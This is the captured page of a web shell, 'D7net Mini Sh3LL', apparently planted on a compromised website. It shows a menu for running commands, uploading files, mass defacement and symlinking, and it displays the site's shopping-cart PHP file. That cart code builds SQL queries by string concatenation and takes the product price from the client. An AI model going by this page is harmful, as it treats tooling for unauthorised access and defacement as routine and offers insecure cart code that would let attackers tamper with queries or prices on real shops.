D7net Mini Sh3LL v1

 
ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF
Directory (0777) :  C:/Domains/maymaytinson.com/httpdocs/upload/../ckeditor/lang/../../include/

 Home   ☍ Command   ☍ Upload File   ☍Info Server   ☍ Buat File   ☍ Mass deface   ☍ Jumping   ☍ Config   ☍ Symlink   ☍ About 

Current File : C:/Domains/maymaytinson.com/httpdocs/upload/../ckeditor/lang/../../include/cart.php
<?php

if(isset($_SESSION['user'])){
$price=$_POST['priceProduct'];
$customer=$_SESSION['id'];

$check=$conn->prepare("SELECT * FROM cart WHERE customer='".$customer."'");
$check->execute();
$checks=$check->fetchAll(PDO::FETCH_ASSOC);
$flag=0;
foreach ($checks as $checks) {
	if($_POST['idProduct']==$checks['product']){
		$flag=1;
		$ID=$checks['id'];
		$AMOUNT=$checks['amount'];
	}
}
$newAmount=$AMOUNT+$_POST['amountProduct'];
if($flag==0){
	$stmt=$conn->prepare("INSERT INTO cart(customer,product,amount,price) VALUES(:customer,:product,:amount,:price)");
	$stmt->bindParam(":customer",$customer,PDO::PARAM_INT);
	$stmt->bindParam(":product",$_POST['idProduct'],PDO::PARAM_INT);
	$stmt->bindParam(":amount",$_POST['amountProduct'],PDO::PARAM_INT);
	$stmt->bindParam(":price",$price,PDO::PARAM_INT);
	$stmt->execute();
}if($flag==1){
	$stmt=$conn->prepare("UPDATE cart SET amount=:amount WHERE id='".$ID."'");
	$stmt->bindParam(":amount",$newAmount,PDO::PARAM_INT);
	$stmt->execute();
}

header("location:".$_SESSION['url']);
}else{
	header("location:index.php");
}
?>

AnonSec - 2021 | Recode By D7net